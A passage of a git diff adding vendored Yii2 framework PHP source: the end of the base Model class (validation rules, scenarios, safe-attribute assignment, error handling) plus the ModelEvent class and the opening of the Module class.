Defaults to [[SCENARIO_DEFAULT]]. + * @property ArrayObject|\yii\validators\Validator[] $validators All the validators declared in the model. + * This property is read-only. + * + * @author Qiang Xue + * @since 2.0 + */ +class Model extends Component implements IteratorAggregate, ArrayAccess, Arrayable +{ + use ArrayableTrait; + + /** + * The name of the default scenario. + */ + const SCENARIO_DEFAULT = 'default'; + /** + * @event ModelEvent an event raised at the beginning of [[validate()]]. You may set + * [[ModelEvent::isValid]] to be false to stop the validation. + */ + const EVENT_BEFORE_VALIDATE = 'beforeValidate'; + /** + * @event Event an event raised at the end of [[validate()]] + */ + const EVENT_AFTER_VALIDATE = 'afterValidate'; + + /** + * @var array validation errors (attribute name => array of errors) + */ + private $_errors; + /** + * @var ArrayObject list of validators + */ + private $_validators; + /** + * @var string current scenario + */ + private $_scenario = self::SCENARIO_DEFAULT; + + + /** + * Returns the validation rules for attributes. + * + * Validation rules are used by [[validate()]] to check if attribute values are valid. + * Child classes may override this method to declare different validation rules. + * + * Each rule is an array with the following structure: + * + * ~~~ + * [ + * ['attribute1', 'attribute2'], + * 'validator type', + * 'on' => ['scenario1', 'scenario2'], + * ...other parameters... + * ] + * ~~~ + * + * where + * + * - attribute list: required, specifies the attributes array to be validated, for single attribute you can pass string; + * - validator type: required, specifies the validator to be used. It can be a built-in validator name, + * a method name of the model class, an anonymous function, or a validator class name. + * - on: optional, specifies the [[scenario|scenarios]] array when the validation + * rule can be applied. If this option is not set, the rule will apply to all scenarios. + * - additional name-value pairs can be specified to initialize the corresponding validator properties. + * Please refer to individual validator class API for possible properties. + * + * A validator can be either an object of a class extending [[Validator]], or a model class method + * (called *inline validator*) that has the following signature: + * + * ~~~ + * // $params refers to validation parameters given in the rule + * function validatorName($attribute, $params) + * ~~~ + * + * In the above `$attribute` refers to currently validated attribute name while `$params` contains an array of + * validator configuration options such as `max` in case of `string` validator. Currently validate attribute value + * can be accessed as `$this->[$attribute]`. + * + * Yii also provides a set of [[Validator::builtInValidators|built-in validators]]. + * They each has an alias name which can be used when specifying a validation rule. + * + * Below are some examples: + * + * ~~~ + * [ + * // built-in "required" validator + * [['username', 'password'], 'required'], + * // built-in "string" validator customized with "min" and "max" properties + * ['username', 'string', 'min' => 3, 'max' => 12], + * // built-in "compare" validator that is used in "register" scenario only + * ['password', 'compare', 'compareAttribute' => 'password2', 'on' => 'register'], + * // an inline validator defined via the "authenticate()" method in the model class + * ['password', 'authenticate', 'on' => 'login'], + * // a validator of class "DateRangeValidator" + * ['dateRange', 'DateRangeValidator'], + * ]; + * ~~~ + * + * Note, in order to inherit rules defined in the parent class, a child class needs to + * merge the parent rules with child rules using functions such as `array_merge()`. + * + * @return array validation rules + * @see scenarios() + */ + public function rules() + { + return []; + } + + /** + * Returns a list of scenarios and the corresponding active attributes. + * An active attribute is one that is subject to validation in the current scenario. + * The returned array should be in the following format: + * + * ~~~ + * [ + * 'scenario1' => ['attribute11', 'attribute12', ...], + * 'scenario2' => ['attribute21', 'attribute22', ...], + * ... + * ] + * ~~~ + * + * By default, an active attribute is considered safe and can be massively assigned. + * If an attribute should NOT be massively assigned (thus considered unsafe), + * please prefix the attribute with an exclamation character (e.g. '!rank'). + * + * The default implementation of this method will return all scenarios found in the [[rules()]] + * declaration. A special scenario named [[SCENARIO_DEFAULT]] will contain all attributes + * found in the [[rules()]]. Each scenario will be associated with the attributes that + * are being validated by the validation rules that apply to the scenario. + * + * @return array a list of scenarios and the corresponding active attributes. + */ + public function scenarios() + { + $scenarios = [self::SCENARIO_DEFAULT => []]; + foreach ($this->getValidators() as $validator) { + foreach ($validator->on as $scenario) { + $scenarios[$scenario] = []; + } + foreach ($validator->except as $scenario) { + $scenarios[$scenario] = []; + } + } + $names = array_keys($scenarios); + + foreach ($this->getValidators() as $validator) { + if (empty($validator->on) && empty($validator->except)) { + foreach ($names as $name) { + foreach ($validator->attributes as $attribute) { + $scenarios[$name][$attribute] = true; + } + } + } elseif (empty($validator->on)) { + foreach ($names as $name) { + if (!in_array($name, $validator->except, true)) { + foreach ($validator->attributes as $attribute) { + $scenarios[$name][$attribute] = true; + } + } + } + } else { + foreach ($validator->on as $name) { + foreach ($validator->attributes as $attribute) { + $scenarios[$name][$attribute] = true; + } + } + } + } + + foreach ($scenarios as $scenario => $attributes) { + if (empty($attributes) && $scenario !== self::SCENARIO_DEFAULT) { + unset($scenarios[$scenario]); + } else { + $scenarios[$scenario] = array_keys($attributes); + } + } + + return $scenarios; + } + + /** + * Returns the form name that this model class should use. + * + * The form name is mainly used by [[\yii\widgets\ActiveForm]] to determine how to name + * the input fields for the attributes in a model. If the form name is "A" and an attribute + * name is "b", then the corresponding input name would be "A[b]". If the form name is + * an empty string, then the input name would be "b". + * + * By default, this method returns the model class name (without the namespace part) + * as the form name. You may override it when the model is used in different forms. + * + * @return string the form name of this model class. + */ + public function formName() + { + $reflector = new ReflectionClass($this); + + return $reflector->getShortName(); + } + + /** + * Returns the list of attribute names. + * By default, this method returns all public non-static properties of the class. + * You may override this method to change the default behavior. + * @return array list of attribute names. + */ + public function attributes() + { + $class = new ReflectionClass($this); + $names = []; + foreach ($class->getProperties(\ReflectionProperty::IS_PUBLIC) as $property) { + if (!$property->isStatic()) { + $names[] = $property->getName(); + } + } + + return $names; + } + + /** + * Returns the attribute labels. + * + * Attribute labels are mainly used for display purpose. For example, given an attribute + * `firstName`, we can declare a label `First Name` which is more user-friendly and can + * be displayed to end users. + * + * By default an attribute label is generated using [[generateAttributeLabel()]]. + * This method allows you to explicitly specify attribute labels. + * + * Note, in order to inherit labels defined in the parent class, a child class needs to + * merge the parent labels with child labels using functions such as `array_merge()`. + * + * @return array attribute labels (name => label) + * @see generateAttributeLabel() + */ + public function attributeLabels() + { + return []; + } + + /** + * Performs the data validation. + * + * This method executes the validation rules applicable to the current [[scenario]]. + * The following criteria are used to determine whether a rule is currently applicable: + * + * - the rule must be associated with the attributes relevant to the current scenario; + * - the rules must be effective for the current scenario. + * + * This method will call [[beforeValidate()]] and [[afterValidate()]] before and + * after the actual validation, respectively. If [[beforeValidate()]] returns false, + * the validation will be cancelled and [[afterValidate()]] will not be called. + * + * Errors found during the validation can be retrieved via [[getErrors()]], + * [[getFirstErrors()]] and [[getFirstError()]]. + * + * @param array $attributeNames list of attribute names that should be validated. + * If this parameter is empty, it means any attribute listed in the applicable + * validation rules should be validated. + * @param boolean $clearErrors whether to call [[clearErrors()]] before performing validation + * @return boolean whether the validation is successful without any error. + * @throws InvalidParamException if the current scenario is unknown. + */ + public function validate($attributeNames = null, $clearErrors = true) + { + if ($clearErrors) { + $this->clearErrors(); + } + + if (!$this->beforeValidate()) { + return false; + } + + $scenarios = $this->scenarios(); + $scenario = $this->getScenario(); + if (!isset($scenarios[$scenario])) { + throw new InvalidParamException("Unknown scenario: $scenario"); + } + + if ($attributeNames === null) { + $attributeNames = $this->activeAttributes(); + } + + foreach ($this->getActiveValidators() as $validator) { + $validator->validateAttributes($this, $attributeNames); + } + $this->afterValidate(); + + return !$this->hasErrors(); + } + + /** + * This method is invoked before validation starts. + * The default implementation raises a `beforeValidate` event. + * You may override this method to do preliminary checks before validation. + * Make sure the parent implementation is invoked so that the event can be raised. + * @return boolean whether the validation should be executed. Defaults to true. + * If false is returned, the validation will stop and the model is considered invalid. + */ + public function beforeValidate() + { + $event = new ModelEvent; + $this->trigger(self::EVENT_BEFORE_VALIDATE, $event); + + return $event->isValid; + } + + /** + * This method is invoked after validation ends. + * The default implementation raises an `afterValidate` event. + * You may override this method to do postprocessing after validation. + * Make sure the parent implementation is invoked so that the event can be raised. + */ + public function afterValidate() + { + $this->trigger(self::EVENT_AFTER_VALIDATE); + } + + /** + * Returns all the validators declared in [[rules()]]. + * + * This method differs from [[getActiveValidators()]] in that the latter + * only returns the validators applicable to the current [[scenario]]. + * + * Because this method returns an ArrayObject object, you may + * manipulate it by inserting or removing validators (useful in model behaviors). + * For example, + * + * ~~~ + * $model->validators[] = $newValidator; + * ~~~ + * + * @return ArrayObject|\yii\validators\Validator[] all the validators declared in the model. + */ + public function getValidators() + { + if ($this->_validators === null) { + $this->_validators = $this->createValidators(); + } + return $this->_validators; + } + + /** + * Returns the validators applicable to the current [[scenario]]. + * @param string $attribute the name of the attribute whose applicable validators should be returned. + * If this is null, the validators for ALL attributes in the model will be returned. + * @return \yii\validators\Validator[] the validators applicable to the current [[scenario]]. + */ + public function getActiveValidators($attribute = null) + { + $validators = []; + $scenario = $this->getScenario(); + foreach ($this->getValidators() as $validator) { + if ($validator->isActive($scenario) && ($attribute === null || in_array($attribute, $validator->attributes, true))) { + $validators[] = $validator; + } + } + return $validators; + } + + /** + * Creates validator objects based on the validation rules specified in [[rules()]]. + * Unlike [[getValidators()]], each time this method is called, a new list of validators will be returned. + * @return ArrayObject validators + * @throws InvalidConfigException if any validation rule configuration is invalid + */ + public function createValidators() + { + $validators = new ArrayObject; + foreach ($this->rules() as $rule) { + if ($rule instanceof Validator) { + $validators->append($rule); + } elseif (is_array($rule) && isset($rule[0], $rule[1])) { // attributes, validator type + $validator = Validator::createValidator($rule[1], $this, (array) $rule[0], array_slice($rule, 2)); + $validators->append($validator); + } else { + throw new InvalidConfigException('Invalid validation rule: a rule must specify both attribute names and validator type.'); + } + } + return $validators; + } + + /** + * Returns a value indicating whether the attribute is required. + * This is determined by checking if the attribute is associated with a + * [[\yii\validators\RequiredValidator|required]] validation rule in the + * current [[scenario]]. + * + * Note that when the validator has a conditional validation applied using + * [[\yii\validators\RequiredValidator::$when|$when]] this method will return + * `false` regardless of the `when` condition because it may be called be + * before the model is loaded with data. + * + * @param string $attribute attribute name + * @return boolean whether the attribute is required + */ + public function isAttributeRequired($attribute) + { + foreach ($this->getActiveValidators($attribute) as $validator) { + if ($validator instanceof RequiredValidator && $validator->when === null) { + return true; + } + } + return false; + } + + /** + * Returns a value indicating whether the attribute is safe for massive assignments. + * @param string $attribute attribute name + * @return boolean whether the attribute is safe for massive assignments + * @see safeAttributes() + */ + public function isAttributeSafe($attribute) + { + return in_array($attribute, $this->safeAttributes(), true); + } + + /** + * Returns a value indicating whether the attribute is active in the current scenario. + * @param string $attribute attribute name + * @return boolean whether the attribute is active in the current scenario + * @see activeAttributes() + */ + public function isAttributeActive($attribute) + { + return in_array($attribute, $this->activeAttributes(), true); + } + + /** + * Returns the text label for the specified attribute. + * @param string $attribute the attribute name + * @return string the attribute label + * @see generateAttributeLabel() + * @see attributeLabels() + */ + public function getAttributeLabel($attribute) + { + $labels = $this->attributeLabels(); + return isset($labels[$attribute]) ? $labels[$attribute] : $this->generateAttributeLabel($attribute); + } + + /** + * Returns a value indicating whether there is any validation error. + * @param string|null $attribute attribute name. Use null to check all attributes. + * @return boolean whether there is any error. + */ + public function hasErrors($attribute = null) + { + return $attribute === null ? !empty($this->_errors) : isset($this->_errors[$attribute]); + } + + /** + * Returns the errors for all attribute or a single attribute. + * @param string $attribute attribute name. Use null to retrieve errors for all attributes. + * @property array An array of errors for all attributes. Empty array is returned if no error. + * The result is a two-dimensional array. See [[getErrors()]] for detailed description. + * @return array errors for all attributes or the specified attribute. Empty array is returned if no error. + * Note that when returning errors for all attributes, the result is a two-dimensional array, like the following: + * + * ~~~ + * [ + * 'username' => [ + * 'Username is required.', + * 'Username must contain only word characters.', + * ], + * 'email' => [ + * 'Email address is invalid.', + * ] + * ] + * ~~~ + * + * @see getFirstErrors() + * @see getFirstError() + */ + public function getErrors($attribute = null) + { + if ($attribute === null) { + return $this->_errors === null ? [] : $this->_errors; + } else { + return isset($this->_errors[$attribute]) ? $this->_errors[$attribute] : []; + } + } + + /** + * Returns the first error of every attribute in the model. + * @return array the first errors. The array keys are the attribute names, and the array + * values are the corresponding error messages. An empty array will be returned if there is no error. + * @see getErrors() + * @see getFirstError() + */ + public function getFirstErrors() + { + if (empty($this->_errors)) { + return []; + } else { + $errors = []; + foreach ($this->_errors as $name => $es) { + if (!empty($es)) { + $errors[$name] = reset($es); + } + } + + return $errors; + } + } + + /** + * Returns the first error of the specified attribute. + * @param string $attribute attribute name. + * @return string the error message. Null is returned if no error. + * @see getErrors() + * @see getFirstErrors() + */ + public function getFirstError($attribute) + { + return isset($this->_errors[$attribute]) ? reset($this->_errors[$attribute]) : null; + } + + /** + * Adds a new error to the specified attribute. + * @param string $attribute attribute name + * @param string $error new error message + */ + public function addError($attribute, $error = '') + { + $this->_errors[$attribute][] = $error; + } + + /** + * Removes errors for all attributes or a single attribute. + * @param string $attribute attribute name. Use null to remove errors for all attribute. + */ + public function clearErrors($attribute = null) + { + if ($attribute === null) { + $this->_errors = []; + } else { + unset($this->_errors[$attribute]); + } + } + + /** + * Generates a user friendly attribute label based on the give attribute name. + * This is done by replacing underscores, dashes and dots with blanks and + * changing the first letter of each word to upper case. + * For example, 'department_name' or 'DepartmentName' will generate 'Department Name'. + * @param string $name the column name + * @return string the attribute label + */ + public function generateAttributeLabel($name) + { + return Inflector::camel2words($name, true); + } + + /** + * Returns attribute values. + * @param array $names list of attributes whose value needs to be returned. + * Defaults to null, meaning all attributes listed in [[attributes()]] will be returned. + * If it is an array, only the attributes in the array will be returned. + * @param array $except list of attributes whose value should NOT be returned. + * @return array attribute values (name => value). + */ + public function getAttributes($names = null, $except = []) + { + $values = []; + if ($names === null) { + $names = $this->attributes(); + } + foreach ($names as $name) { + $values[$name] = $this->$name; + } + foreach ($except as $name) { + unset($values[$name]); + } + + return $values; + } + + /** + * Sets the attribute values in a massive way. + * @param array $values attribute values (name => value) to be assigned to the model. + * @param boolean $safeOnly whether the assignments should only be done to the safe attributes. + * A safe attribute is one that is associated with a validation rule in the current [[scenario]]. + * @see safeAttributes() + * @see attributes() + */ + public function setAttributes($values, $safeOnly = true) + { + if (is_array($values)) { + $attributes = array_flip($safeOnly ? $this->safeAttributes() : $this->attributes()); + foreach ($values as $name => $value) { + if (isset($attributes[$name])) { + $this->$name = $value; + } elseif ($safeOnly) { + $this->onUnsafeAttribute($name, $value); + } + } + } + } + + /** + * This method is invoked when an unsafe attribute is being massively assigned. + * The default implementation will log a warning message if YII_DEBUG is on. + * It does nothing otherwise. + * @param string $name the unsafe attribute name + * @param mixed $value the attribute value + */ + public function onUnsafeAttribute($name, $value) + { + if (YII_DEBUG) { + Yii::trace("Failed to set unsafe attribute '$name' in '" . get_class($this) . "'.", __METHOD__); + } + } + + /** + * Returns the scenario that this model is used in. + * + * Scenario affects how validation is performed and which attributes can + * be massively assigned. + * + * @return string the scenario that this model is in. Defaults to [[SCENARIO_DEFAULT]]. + */ + public function getScenario() + { + return $this->_scenario; + } + + /** + * Sets the scenario for the model. + * Note that this method does not check if the scenario exists or not. + * The method [[validate()]] will perform this check. + * @param string $value the scenario that this model is in. + */ + public function setScenario($value) + { + $this->_scenario = $value; + } + + /** + * Returns the attribute names that are safe to be massively assigned in the current scenario. + * @return string[] safe attribute names + */ + public function safeAttributes() + { + $scenario = $this->getScenario(); + $scenarios = $this->scenarios(); + if (!isset($scenarios[$scenario])) { + return []; + } + $attributes = []; + foreach ($scenarios[$scenario] as $attribute) { + if ($attribute[0] !== '!') { + $attributes[] = $attribute; + } + } + + return $attributes; + } + + /** + * Returns the attribute names that are subject to validation in the current scenario. + * @return string[] safe attribute names + */ + public function activeAttributes() + { + $scenario = $this->getScenario(); + $scenarios = $this->scenarios(); + if (!isset($scenarios[$scenario])) { + return []; + } + $attributes = $scenarios[$scenario]; + foreach ($attributes as $i => $attribute) { + if ($attribute[0] === '!') { + $attributes[$i] = substr($attribute, 1); + } + } + + return $attributes; + } + + /** + * Populates the model with the data from end user. + * The data to be loaded is `$data[formName]`, where `formName` refers to the value of [[formName()]]. + * If [[formName()]] is empty, the whole `$data` array will be used to populate the model. + * The data being populated is subject to the safety check by [[setAttributes()]]. + * @param array $data the data array. This is usually `$_POST` or `$_GET`, but can also be any valid array + * supplied by end user. + * @param string $formName the form name to be used for loading the data into the model. + * If not set, [[formName()]] will be used. + * @return boolean whether the model is successfully populated with some data. + */ + public function load($data, $formName = null) + { + $scope = $formName === null ? $this->formName() : $formName; + if ($scope == '' && !empty($data)) { + $this->setAttributes($data); + + return true; + } elseif (isset($data[$scope])) { + $this->setAttributes($data[$scope]); + + return true; + } else { + return false; + } + } + + /** + * Populates a set of models with the data from end user. + * This method is mainly used to collect tabular data input. + * The data to be loaded for each model is `$data[formName][index]`, where `formName` + * refers to the value of [[formName()]], and `index` the index of the model in the `$models` array. + * If [[formName()]] is empty, `$data[index]` will be used to populate each model. + * The data being populated to each model is subject to the safety check by [[setAttributes()]]. + * @param array $models the models to be populated. Note that all models should have the same class. + * @param array $data the data array. This is usually `$_POST` or `$_GET`, but can also be any valid array + * supplied by end user. + * @return boolean whether the model is successfully populated with some data. + */ + public static function loadMultiple($models, $data) + { + /* @var $model Model */ + $model = reset($models); + if ($model === false) { + return false; + } + $success = false; + $scope = $model->formName(); + foreach ($models as $i => $model) { + if ($scope == '') { + if (isset($data[$i])) { + $model->setAttributes($data[$i]); + $success = true; + } + } elseif (isset($data[$scope][$i])) { + $model->setAttributes($data[$scope][$i]); + $success = true; + } + } + + return $success; + } + + /** + * Validates multiple models. + * This method will validate every model. The models being validated may + * be of the same or different types. + * @param array $models the models to be validated + * @param array $attributeNames list of attribute names that should be validated. + * If this parameter is empty, it means any attribute listed in the applicable + * validation rules should be validated. + * @return boolean whether all models are valid. False will be returned if one + * or multiple models have validation error. + */ + public static function validateMultiple($models, $attributeNames = null) + { + $valid = true; + /* @var $model Model */ + foreach ($models as $model) { + $valid = $model->validate($attributeNames) && $valid; + } + + return $valid; + } + + /** + * Returns the list of fields that should be returned by default by [[toArray()]] when no specific fields are specified. + * + * A field is a named element in the returned array by [[toArray()]]. + * + * This method should return an array of field names or field definitions. + * If the former, the field name will be treated as an object property name whose value will be used + * as the field value. If the latter, the array key should be the field name while the array value should be + * the corresponding field definition which can be either an object property name or a PHP callable + * returning the corresponding field value. The signature of the callable should be: + * + * ```php + * function ($field, $model) { + * // return field value + * } + * ``` + * + * For example, the following code declares four fields: + * + * - `email`: the field name is the same as the property name `email`; + * - `firstName` and `lastName`: the field names are `firstName` and `lastName`, and their + * values are obtained from the `first_name` and `last_name` properties; + * - `fullName`: the field name is `fullName`. Its value is obtained by concatenating `first_name` + * and `last_name`. + * + * ```php + * return [ + * 'email', + * 'firstName' => 'first_name', + * 'lastName' => 'last_name', + * 'fullName' => function () { + * return $this->first_name . ' ' . $this->last_name; + * }, + * ]; + * ``` + * + * In this method, you may also want to return different lists of fields based on some context + * information. For example, depending on [[scenario]] or the privilege of the current application user, + * you may return different sets of visible fields or filter out some fields. + * + * The default implementation of this method returns [[attributes()]] indexed by the same attribute names. + * + * @return array the list of field names or field definitions. + * @see toArray() + */ + public function fields() + { + $fields = $this->attributes(); + + return array_combine($fields, $fields); + } + + /** + * Returns an iterator for traversing the attributes in the model. + * This method is required by the interface IteratorAggregate. + * @return ArrayIterator an iterator for traversing the items in the list. + */ + public function getIterator() + { + $attributes = $this->getAttributes(); + return new ArrayIterator($attributes); + } + + /** + * Returns whether there is an element at the specified offset. + * This method is required by the SPL interface `ArrayAccess`. + * It is implicitly called when you use something like `isset($model[$offset])`. + * @param mixed $offset the offset to check on + * @return boolean + */ + public function offsetExists($offset) + { + return $this->$offset !== null; + } + + /** + * Returns the element at the specified offset. + * This method is required by the SPL interface `ArrayAccess`. + * It is implicitly called when you use something like `$value = $model[$offset];`. + * @param mixed $offset the offset to retrieve element. + * @return mixed the element at the offset, null if no element is found at the offset + */ + public function offsetGet($offset) + { + return $this->$offset; + } + + /** + * Sets the element at the specified offset. + * This method is required by the SPL interface `ArrayAccess`. + * It is implicitly called when you use something like `$model[$offset] = $item;`. + * @param integer $offset the offset to set element + * @param mixed $item the element value + */ + public function offsetSet($offset, $item) + { + $this->$offset = $item; + } + + /** + * Sets the element value at the specified offset to null. + * This method is required by the SPL interface `ArrayAccess`. + * It is implicitly called when you use something like `unset($model[$offset])`. + * @param mixed $offset the offset to unset element + */ + public function offsetUnset($offset) + { + $this->$offset = null; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/ModelEvent.php b/php/yii2/basic/vendor/yiisoft/yii2/base/ModelEvent.php new file mode 100644 index 00000000..421b9142 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/ModelEvent.php @@ -0,0 +1,23 @@ + + * @since 2.0 + */ +class ModelEvent extends Event +{ + /** + * @var boolean whether the model is in valid status. Defaults to true. + * A model is in valid status if it passes validations or certain checks. + */ + public $isValid = true; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Module.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Module.php new file mode 100644 index 00000000..4fa92972 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Module.php @@ -0,0 +1,634 @@ + + * @since 2.0 + */ +class Module extends ServiceLocator +{ + /** + * @event ActionEvent an event raised before executing a controller action. + * You may set [[ActionEvent::isValid]] to be false to cancel the action execution. + */ + const EVENT_BEFORE_ACTION = 'beforeAction'; + /** + * @event ActionEvent an event raised after executing a controller action. + */ + const EVENT_AFTER_ACTION = 'afterAction'; + + /** + * @var array custom module parameters (name => value). + */ + public $params = []; + /** + * @var string an ID that uniquely identifies this module among other modules which have the same [[module|parent]]. + */ + public $id; + /** + * @var Module the parent module of this module. Null if this module does not have a parent. + */ + public $module; + /** + * @var string|boolean the layout that should be applied for views within this module. This refers to a view name + * relative to [[layoutPath]]. If this is not set, it means the layout value of the [[module|parent module]] + * will be taken. If this is false, layout will be disabled within this module. + */ + public $layout; + /** + * @var array mapping from controller ID to controller configurations. + * Each name-value pair specifies the configuration of a single controller. + * A controller configuration can be either a string or an array. + * If the former, the string should be the fully qualified class name of the controller. + * If the latter, the array must contain a 'class' element which specifies + * the controller's fully qualified class name, and the rest of the name-value pairs + * in the array are used to initialize the corresponding controller properties. For example, + * + * ~~~ + * [ + * 'account' => 'app\controllers\UserController', + * 'article' => [ + * 'class' => 'app\controllers\PostController', + * 'pageTitle' => 'something new', + * ], + * ] + * ~~~ + */ + public $controllerMap = []; + /** + * @var string the namespace that controller classes are in. + * This namespace will be used to load controller classes by prepending it to the controller + * class name. + * + * If not set, it will use the `controllers` sub-namespace under the namespace of this module. + * For example, if the namespace of this module is "foo\bar", then the default + * controller namespace would be "foo\bar\controllers". + * + * See also the [guide section on autoloading](guide:concept-autoloading) to learn more about + * defining namespaces and how classes are loaded. + */ + public $controllerNamespace; + /** + * @var string the default route of this module. Defaults to 'default'. + * The route may consist of child module ID, controller ID, and/or action ID. + * For example, `help`, `post/create`, `admin/post/create`. + * If action ID is not given, it will take the default value as specified in + * [[Controller::defaultAction]]. + */ + public $defaultRoute = 'default'; + + /** + * @var string the root directory of the module. + */ + private $_basePath; + /** + * @var string the root directory that contains view files for this module + */ + private $_viewPath; + /** + * @var string the root directory that contains layout view files for this module. + */ + private $_layoutPath; + /** + * @var array child modules of this module + */ + private $_modules = []; + + + /** + * Constructor. + * @param string $id the ID of this module + * @param Module $parent the parent module (if any) + * @param array $config name-value pairs that will be used to initialize the object properties + */ + public function __construct($id, $parent = null, $config = []) + { + $this->id = $id; + $this->module = $parent; + parent::__construct($config); + } + + /** + * Returns the currently requested instance of this module class. + * If the module class is not currently requested, null will be returned. + * This method is provided so that you access the module instance from anywhere within the module. + * @return static|null the currently requested instance of this module class, or null if the module class is not requested. + */ + public static function getInstance() + { + $class = get_called_class(); + return isset(Yii::$app->loadedModules[$class]) ? Yii::$app->loadedModules[$class] : null; + } + + /** + * Sets the currently requested instance of this module class. + * @param Module|null $instance the currently requested instance of this module class. + * If it is null, the instance of the calling class will be removed, if any. + */ + public static function setInstance($instance) + { + if ($instance === null) { + unset(Yii::$app->loadedModules[get_called_class()]); + } else { + Yii::$app->loadedModules[get_class($instance)] = $instance; + } + } + + /** + * Initializes the module. + * + * This method is called after the module is created and initialized with property values + * given in configuration. The default implementation will initialize [[controllerNamespace]] + * if it is not set. + * + * If you override this method, please make sure you call the parent implementation. + */ + public function init() + { + if ($this->controllerNamespace === null) { + $class = get_class($this); + if (($pos = strrpos($class, '\\')) !== false) { + $this->controllerNamespace = substr($class, 0, $pos) . '\\controllers'; + } + } + } + + /** + * Returns an ID that uniquely identifies this module among all modules within the current application. + * Note that if the module is an application, an empty string will be returned. + * @return string the unique ID of the module. + */ + public function getUniqueId() + { + return $this->module ? ltrim($this->module->getUniqueId() . '/' . $this->id, '/') : $this->id; + } + + /** + * Returns the root directory of the module. + * It defaults to the directory containing the module class file. + * @return string the root directory of the module. + */ + public function getBasePath() + { + if ($this->_basePath === null) { + $class = new \ReflectionClass($this); + $this->_basePath = dirname($class->getFileName()); + } + + return $this->_basePath; + } + + /** + * Sets the root directory of the module. + * This method can only be invoked at the beginning of the constructor. + * @param string $path the root directory of the module. This can be either a directory name or a path alias. + * @throws InvalidParamException if the directory does not exist. + */ + public function setBasePath($path) + { + $path = Yii::getAlias($path); + $p = realpath($path); + if ($p !== false && is_dir($p)) { + $this->_basePath = $p; + } else { + throw new InvalidParamException("The directory does not exist: $path"); + } + } + + /** + * Returns the directory that contains the controller classes according to [[controllerNamespace]]. + * Note that in order for this method to return a value, you must define + * an alias for the root namespace of [[controllerNamespace]]. + * @return string the directory that contains the controller classes. + * @throws InvalidParamException if there is no alias defined for the root namespace of [[controllerNamespace]]. + */ + public function getControllerPath() + { + return Yii::getAlias('@' . str_replace('\\', '/', $this->controllerNamespace)); + } + + /** + * Returns the directory that contains the view files for this module. + * @return string the root directory of view files. Defaults to "[[basePath]]/views". + */ + public function getViewPath() + { + if ($this->_viewPath !== null) { + return $this->_viewPath; + } else { + return $this->_viewPath = $this->getBasePath() . DIRECTORY_SEPARATOR . 'views'; + } + } + + /** + * Sets the directory that contains the view files. + * @param string $path the root directory of view files. + * @throws InvalidParamException if the directory is invalid + */ + public function setViewPath($path) + { + $this->_viewPath = Yii::getAlias($path); + } + + /** + * Returns the directory that contains layout view files for this module. + * @return string the root directory of layout files. Defaults to "[[viewPath]]/layouts". + */ + public function getLayoutPath() + { + if ($this->_layoutPath !== null) { + return $this->_layoutPath; + } else { + return $this->_layoutPath = $this->getViewPath() . DIRECTORY_SEPARATOR . 'layouts'; + } + } + + /** + * Sets the directory that contains the layout files. + * @param string $path the root directory or path alias of layout files. + * @throws InvalidParamException if the directory is invalid + */ + public function setLayoutPath($path) + { + $this->_layoutPath = Yii::getAlias($path); + } + + /** + * Defines path aliases. + * This method calls [[Yii::setAlias()]] to register the path aliases. + * This method is provided so that you can define path aliases when configuring a module. + * @property array list of path aliases to be defined. The array keys are alias names + * (must start with '@') and the array values are the corresponding paths or aliases. + * See [[setAliases()]] for an example. + * @param array $aliases list of path aliases to be defined. The array keys are alias names + * (must start with '@') and the array values are the corresponding paths or aliases. + * For example, + * + * ~~~ + * [ + * '@models' => '@app/models', // an existing alias + * '@backend' => __DIR__ . '/../backend', // a directory + * ] + * ~~~ + */ + public function setAliases($aliases) + { + foreach ($aliases as $name => $alias) { + Yii::setAlias($name, $alias); + } + } + + /** + * Checks whether the child module of the specified ID exists. + * This method supports checking the existence of both child and grand child modules. + * @param string $id module ID. For grand child modules, use ID path relative to this module (e.g. `admin/content`). + * @return boolean whether the named module exists. Both loaded and unloaded modules + * are considered. + */ + public function hasModule($id) + { + if (($pos = strpos($id, '/')) !== false) { + // sub-module + $module = $this->getModule(substr($id, 0, $pos)); + + return $module === null ? false : $module->hasModule(substr($id, $pos + 1)); + } else { + return isset($this->_modules[$id]); + } + } + + /** + * Retrieves the child module of the specified ID. + * This method supports retrieving both child modules and grand child modules. + * @param string $id module ID (case-sensitive). To retrieve grand child modules, + * use ID path relative to this module (e.g. `admin/content`). + * @param boolean $load whether to load the module if it is not yet loaded. + * @return Module|null the module instance, null if the module does not exist. + * @see hasModule() + */ + public function getModule($id, $load = true) + { + if (($pos = strpos($id, '/')) !== false) { + // sub-module + $module = $this->getModule(substr($id, 0, $pos)); + + return $module === null ? null : $module->getModule(substr($id, $pos + 1), $load); + } + + if (isset($this->_modules[$id])) { + if ($this->_modules[$id] instanceof Module) { + return $this->_modules[$id]; + } elseif ($load) { + Yii::trace("Loading module: $id", __METHOD__); + /* @var $module Module */ + $module = Yii::createObject($this->_modules[$id], [$id, $this]); + $module->setInstance($module); + return $this->_modules[$id] = $module; + } + } + + return null; + } + + /** + * Adds a sub-module to this module. + * @param string $id module ID + * @param Module|array|null $module the sub-module to be added to this module. This can + * be one of the followings: + * + * - a [[Module]] object + * - a configuration array: when [[getModule()]] is called initially, the array + * will be used to instantiate the sub-module + * - null: the named sub-module will be removed from this module + */ + public function setModule($id, $module) + { + if ($module === null) { + unset($this->_modules[$id]); + } else { + $this->_modules[$id] = $module; + } + } + + /** + * Returns the sub-modules in this module. + * @param boolean $loadedOnly whether to return the loaded sub-modules only. If this is set false, + * then all sub-modules registered in this module will be returned, whether they are loaded or not. + * Loaded modules will be returned as objects, while unloaded modules as configuration arrays. + * @return array the modules (indexed by their IDs) + */ + public function getModules($loadedOnly = false) + { + if ($loadedOnly) { + $modules = []; + foreach ($this->_modules as $module) { + if ($module instanceof Module) { + $modules[] = $module; + } + } + + return $modules; + } else { + return $this->_modules; + } + } + + /** + * Registers sub-modules in the current module. + * + * Each sub-module should be specified as a name-value pair, where + * name refers to the ID of the module and value the module or a configuration + * array that can be used to create the module. In the latter case, [[Yii::createObject()]] + * will be used to create the module. + * + * If a new sub-module has the same ID as an existing one, the existing one will be overwritten silently. + * + * The following is an example for registering two sub-modules: + * + * ~~~ + * [ + * 'comment' => [ + * 'class' => 'app\modules\comment\CommentModule', + * 'db' => 'db', + * ], + * 'booking' => ['class' => 'app\modules\booking\BookingModule'], + * ] + * 